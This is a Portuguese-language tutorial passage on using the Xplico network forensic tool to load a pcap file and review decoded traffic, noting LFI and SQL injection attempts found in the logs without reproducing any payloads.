Vamos logar com o usuário xplico e depois clique em “New Case” como mostra a figura abaixo, isso é necessário pra criar um caso, toda atividade será analisada conforme o caso em questão:


Preencha os campos como mostra na figura e deixe marcada a opção “Uploading PCAP...”. A opção “Live acquisition” permite com que façamos uma analise em tempo real, que não é o caso deste artigo. Clique em “Create” e na próxima tela aparecerá listado os casos criados, clique em “Analise de trafego” e depois em “New Session” e dê um nome para a sessão, no meu caso usei o nome “Analise”, para cada Case você poderá ter várias Session para analisar diversas anomalias em momentos diferentes, depois clique sobre “Analise” e aparecerá como mostra a figura abaixo:


Na aba “Pcap set” você pode fazer o upload do arquivo pcap, porém esta opção suporta por padrão o upload de arquivos de até 2 MB, isso pode ser reconfigurado, se o arquivo for maior do que 2 MB use a opção “SFTP uploading big pcap files”. Coloque o mouse em cima da opção “SFTP uploading big pcap files”, porém não clique em cima, olhe no canto inferior esquerdo o caminho para onde o arquivo será copiado, veja a figura abaixo:


Agora abra o Konqueror no caminho /opt/xplico/pol_1/sol_1/new e copie seu arquivo pcap, espere alguns segundos que o xplico ira decodificar o arquivo e depois carregara todas as informações separadas co por categoria, veja na figura abaixo um resumo feito pelo Xplico depois de decodificar nosso arquivo:


Veja que tudo foi separado por categoria, tornando bem fácil para possíveis analises. Fazendo uma rápida analise no quadro HTTP, percebemos a presença de 29 Posts, 1826 Gets, 4 Vídeos e 958 Imagens. Na aba esquerda podemos ter mais detalhes sobre esses acessos, como: sites visitados, hora e data do acesso, tipo de requisição, se houve tentativa de SQLi ou outro ataque usando URL, entre outros. Vamos analisar com mais detalhes os acessos web, para isso na aba esquerda clique sobre WEB e depois em SITE, veja figura abaixo:


Podemos ver que no dia 17/08/2011 as 11h07min (linha 6) houve uma tentativa de ataque conhecida como LFI e no mesmo dia as 11h06min (linha 9) houve uma tentativa de ataque de SQL injection. Para obter mais informações basta clicar sobre o GET correspondente ou no info.xml. Veja que podemos também filtrar nossa pesquisa conforme interesse, onde temos as opções Image, Flash, Vídeo, Audio, All e Html que é o padrão.

2. Conclusões
O Xplico possui uma funcionalidade muito interessante, a capacidade de extrair de pacotes (.pcap) dados de aplicações de uma forma que qualquer usuário posso ler e entender, Ele é um analisador de protocolos de rede, e uma ferramenta de análise forense (Network Forensic Analysis Tool (NFAT), que é capaz de interpretar quase todos os protocolos mais usados e capturados de forma prática e visual.